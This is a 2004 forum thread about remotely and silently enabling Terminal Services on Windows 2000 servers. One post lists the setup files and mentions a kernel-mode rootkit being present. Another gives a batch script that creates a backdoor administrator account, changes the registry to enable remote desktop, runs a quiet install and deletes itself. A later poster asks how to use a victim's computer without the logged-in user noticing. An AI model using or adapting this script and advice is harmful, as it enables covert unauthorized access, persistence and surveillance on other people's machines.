Government Security
Network Security Resources

Jump to content

Photo

Enable Terminal services W2K ( command line )

- - - - - windows server
  • Please log in to reply
38 replies to this topic

#31 krackatoa

krackatoa

    Corporal

  • Members
  • 194 posts

Posted 15 February 2004 - 07:59 PM

I'll upload the files that you need in the Download area.

I've tested it on Win2k many times and it does work. Just copy the compressed files to: winnt\inf\i386. You'll have to create the I386 folder. Run the .bat file from wherever, give the install a couple of minutes then reboot the remote server.

You may blue screen if you have a kernal mode rootkit installed. I have had that happen.

Connect to it using the ts client and all is well.

Here's a listing of the files that you need to put in the directory above in case my upload is denied:

12/07/1999 06:00 AM 602 TSC.00_
12/07/1999 06:00 AM 94,989 TSC1601.D1_
12/07/1999 06:00 AM 413,173 TSC1601.D2_
12/07/1999 06:00 AM 47,185 TSC1601.D3_
12/07/1999 06:00 AM 94,990 TSC1601.NE_
12/07/1999 06:00 AM 12,487 TSC1602.D1_
12/07/1999 06:00 AM 117 TSC1602.D2_
12/07/1999 06:00 AM 123,029 TSC1602.D3_
12/07/1999 06:00 AM 12,488 TSC1602.NE_
12/07/1999 06:00 AM 166,871 TSC1603.D1_
12/07/1999 06:00 AM 61,575 TSC1603.D3_
12/07/1999 06:00 AM 166,872 TSC1603.NE_
12/07/1999 06:00 AM 4,735 TSC1604.D1_
12/07/1999 06:00 AM 33,649 TSC1604.D3_
12/07/1999 06:00 AM 26,518 TSC1604.NE_
12/07/1999 06:00 AM 26,517 TSC1605.D1_
12/07/1999 06:00 AM 60,503 TSC1605.D3_
12/07/1999 06:00 AM 912 TSC1605.NE_
12/07/1999 06:00 AM 911 TSC1606.D1_
12/07/1999 06:00 AM 12,255 TSC1606.D3_
12/07/1999 06:00 AM 8,416 TSC1606.NE_
12/07/1999 06:00 AM 8,415 TSC1607.D1_
12/07/1999 06:00 AM 209,017 TSC1607.D3_
12/07/1999 06:00 AM 98,698 TSC1607.NE_
12/07/1999 06:00 AM 98,697 TSC1608.D1_
12/07/1999 06:00 AM 117 TSC1608.D3_
12/07/1999 06:00 AM 139,762 TSC1608.NE_
12/07/1999 06:00 AM 139,761 TSC1609.D1_
12/07/1999 06:00 AM 15,601 TSC1609.D3_
12/07/1999 06:00 AM 1,014 TSC1609.NE_
12/07/1999 06:00 AM 1,059 TSC1610.D1_
12/07/1999 06:00 AM 104 TSC1610.NE_
12/07/1999 06:00 AM 103 TSC1611.D1_
12/07/1999 06:00 AM 118 TSC1611.NE_
12/07/1999 06:00 AM 3,807 TSC1612.D1_
12/07/1999 06:00 AM 3,808 TSC1612.NE_
12/07/1999 06:00 AM 3,647 TSC1613.D1_
12/07/1999 06:00 AM 3,648 TSC1613.NE_
12/07/1999 06:00 AM 249 TSC1614.D1_
12/07/1999 06:00 AM 250 TSC1614.NE_
12/07/1999 06:00 AM 457 TSC1615.D1_
12/07/1999 06:00 AM 458 TSC1615.NE_
12/07/1999 06:00 AM 1,067 TSC1616.D1_
12/07/1999 06:00 AM 1,068 TSC1616.NE_
12/07/1999 06:00 AM 183 TSC1617.D1_
12/07/1999 06:00 AM 12,256 TSC1617.NE_
12/07/1999 06:00 AM 16,003 TSC1618.D1_
12/07/1999 06:00 AM 16,004 TSC1618.NE_
12/07/1999 06:00 AM 117 TSC1619.D1_
12/07/1999 06:00 AM 4,736 TSC1619.NE_
12/07/1999 06:00 AM 37,117 TSC1620.D1_
12/07/1999 06:00 AM 413,174 TSC1620.NE_
12/07/1999 06:00 AM 47,186 TSC1621.NE_
12/07/1999 06:00 AM 123,030 TSC1622.NE_
12/07/1999 06:00 AM 61,576 TSC1623.NE_
12/07/1999 06:00 AM 33,650 TSC1624.NE_
12/07/1999 06:00 AM 60,504 TSC1625.NE_
12/07/1999 06:00 AM 12,256 TSC1626.NE_
12/07/1999 06:00 AM 209,018 TSC1627.NE_
12/07/1999 06:00 AM 37,118 TSC1628.NE_
12/07/1999 06:00 AM 15,602 TSC1629.NE_
12/07/1999 06:00 AM 118,473 TSC3201.D1_
12/07/1999 06:00 AM 118,474 TSC3201.NE_
12/07/1999 06:00 AM 5,377 TSC3202.D1_
12/07/1999 06:00 AM 5,378 TSC3202.NE_
12/07/1999 06:00 AM 507 TSC3203.D1_
12/07/1999 06:00 AM 508 TSC3203.NE_
12/07/1999 06:00 AM 7,595 TSC3204.D1_
12/07/1999 06:00 AM 7,596 TSC3204.NE_
12/07/1999 06:00 AM 95,527 TSC3205.D1_
12/07/1999 06:00 AM 95,528 TSC3205.NE_
12/07/1999 06:00 AM 22,567 TSC3206.D1_
12/07/1999 06:00 AM 22,570 TSC3206.NE_
12/07/1999 06:00 AM 911 TSC3207.D1_
12/07/1999 06:00 AM 912 TSC3207.NE_
12/07/1999 06:00 AM 109,223 TSC3208.D1_
12/07/1999 06:00 AM 109,224 TSC3208.NE_
12/07/1999 06:00 AM 455 TSC3209.D1_
12/07/1999 06:00 AM 456 TSC3209.NE_
12/07/1999 06:00 AM 114,901 TSC3210.D1_
12/07/1999 06:00 AM 114,902 TSC3210.NE_
12/07/1999 06:00 AM 6,527 TSC3211.D1_
12/07/1999 06:00 AM 6,528 TSC3211.NE_
12/07/1999 06:00 AM 881 TSC3212.D1_
12/07/1999 06:00 AM 852 TSC3212.NE_
12/07/1999 06:00 AM 1,675 TSC3213.D1_
12/07/1999 06:00 AM 1,676 TSC3213.NE_
12/07/1999 06:00 AM 37,117 TSC3214.D1_
12/07/1999 06:00 AM 118 TSC3214.NE_
12/07/1999 06:00 AM 249 TSC3215.D1_
12/07/1999 06:00 AM 37,118 TSC3215.NE_
12/07/1999 06:00 AM 415 TSC3216.D1_
12/07/1999 06:00 AM 250 TSC3216.NE_
12/07/1999 06:00 AM 183 TSC3217.D1_
12/07/1999 06:00 AM 416 TSC3217.NE_
12/07/1999 06:00 AM 25,359 TSC3218.D1_
12/07/1999 06:00 AM 25,360 TSC3218.NE_
12/07/1999 06:00 AM 117 TSC3219.D1_
12/07/1999 06:00 AM 30,156 TSC3219.NE_
12/07/1999 06:00 AM 30,155 TSC3220.D1_
12/07/1999 06:00 AM 8,183 TSCC.CH_
12/07/1999 06:00 AM 66,639 TSCC.DL_
12/07/1999 06:00 AM 14,565 TSCC.HL_
12/07/1999 06:00 AM 1,649 TSCC.MS_
12/07/1999 06:00 AM 8,066 TSCON.EX_

These files are on the Win2k server CD, at least they were on the one I had.

I haven't tried the other methods to install TS that you listed, but I will.

#32 Guest_6066up9r_*

Guest_6066up9r_*
  • Guests

Posted 16 May 2004 - 03:35 PM

great list of commands you have there, will try them out!

#33 147111

147111

    Private First Class

  • Members
  • 48 posts

Posted 17 May 2004 - 09:49 PM

Thanks NicsCap, great and usefull info

Keep up the good work.

#34 illwill

illwill

    Specialist

  • Sergeant Major
  • 570 posts

Posted 03 July 2004 - 03:08 PM

i only had one win2k box to test this remotely but i couldnt get it to work ..
anyhow i thought the bat file could be updated a little so here you go

@echo off
@echo TS Silent Install
@echo modded by illwill - http://illmob.org
@echo This will install Terminal Services on WIndows 2000 Server via cmd line
@echo Also adds a user with admin privledges
@echo Place files in winnt\inf\i386 otherwise you will be asked to insert a cd
@echo Execute the .bat file from wherever
@echo Wait a couple of Mins then reboot the server
@echo Connect to the server using the TS client





md c:\winnt\inf\1386
copy TS*.* c:\winnt\inf\1386\*.*
net user illwill password /add && net localgroup administrators illwill /add
echo Windows Registry Editor Version 5.00> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]>> c:\TS.reg
echo "Start"=dword:00000002>> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]>>C:\TS.REG
echo "EnableAdminTSRemote"=dword:00000001>>C:\TS.REG
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>C:\TS.REG
echo "TSEnabled"=dword:00000001>>C:\TS.REG
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]>>C:\TS.REG
echo "Start"=dword:00000002>>C:\TS.REG
REGEDIT /S C:\TS.REG
echo [Components] > c:\bootlog~.txt 
echo TSEnabled = on >> c:\bootlog~.txt 
sysocmgr /i:%windir%\inf\sysoc.inf /u:c:\bootlog~.txt /q
DEL /Q c:\TS.REG
DEL /Q c:\bootlog~.txt
del %0
EXIT

  • a1RwAve likes this

#35 tianzhen

tianzhen

    Private First Class

  • Members
  • 92 posts

Posted 11 July 2004 - 09:20 PM

yes ,the reg thingz not always works for me either

#36 Dulok

Dulok

    Private

  • Members
  • 4 posts

Posted 13 July 2004 - 04:30 PM

I am trying this one right now...lets see if it works...lots of great thought went into this post

#37 eloman

eloman

    Private

  • Members
  • 13 posts

Posted 07 September 2004 - 04:03 AM

Hey.
Terminal services have a very big minus. If the real USER is logged on remote computer, and you are trying to log there remotely by TS, the USER will log out. And this is very bad thing, becouse he can guess that somebody is trying to get to his computer. I need to log on remote computer, need to execute giu programs on his machine. The best would be the situation when two users will be logged at the same time (real USER and I(remotely)) and when there will be two independent desktops - one: real USER is working on his normal desktop, and two: i'm working on virtual desktop on his computer and i'm not disturbing him. Maybe this is possible when using TS and I don't know how? Someone had told something about "Remote Admin mode". But i don't understand how it works. Or maybe there is another tool which have the purposes i need. Please help me.

#38 WeSkeR

WeSkeR

    Private

  • Members
  • 15 posts

Posted 07 September 2004 - 08:54 AM

eloman, u need "TS Client (Export)" and log in with your own account

#39 =k3Rn=

=k3Rn=

    Corporal

  • Members
  • 158 posts

Posted 07 September 2004 - 01:51 PM

i am also intrested in what eloman asked.

@wesker: i don't understand what client you mean, up to now i used the remote desktop connection tool you can find under accessories / communicaton ...
did i understood you corectly that if you use another client (pls tell again which one exactly) you can logon in background without kicking the acutal logged on user?





Also tagged with one or more of these keywords: windows, server